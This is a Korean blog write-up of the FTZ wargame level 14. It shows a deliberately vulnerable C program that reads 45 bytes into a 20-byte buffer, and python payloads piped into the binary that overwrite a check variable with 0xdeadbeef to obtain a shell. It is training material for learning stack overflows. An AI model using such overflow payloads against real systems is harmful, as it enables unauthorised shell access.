FTZ-level14
이번 문제는 level12와 거의 유사한 문제입니다.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
fget()함수로 최대 입력횟수(NULL포함)을 지정해준 문제입니다. 따라서 최대 44개의 문자를 입력할 수 있습니다.
우리는 이 문제에서 crap 변수를 생각할 필요가 없습니다. 왜냐하면 밑에 그림을 보시면 됩니다.
따라서 스택의 구조상 우리는 buf[20] | dummy | check 이 부분만 살펴보면 됩니다.
dummy의 크기를 알아보려고 또 노가다를 해야겠습니다.
범위는 dummy가 없다고 가정한 20부터 40까지로 지정했습니다.
[level14@ftz level14]$ (python -c 'print "\x90"*20+"\xef\xbe\xad\xde"';cat)|./attackme
.
.
.
.
.
.
.
[level14@ftz level14]$ (python -c 'print "\x90"*40+"\xef\xbe\xad\xde"';cat)|./attackme
cat을 붙여주여야 하는 이유!!
=level12에서 이해하기 쉽게는 썼습니다. 여기서 간단히 적고 넘어가자면 cat없이 python만 쓴다면 python 명령이 실행되고 종료되어 파이프라인 오류, 즉 stdout의 역할을 하지 못하므로 cat을 너어주어 입력상태까지 함께 넣어주는 것이라고 생각하면 쉽습니다.
0 개의 댓글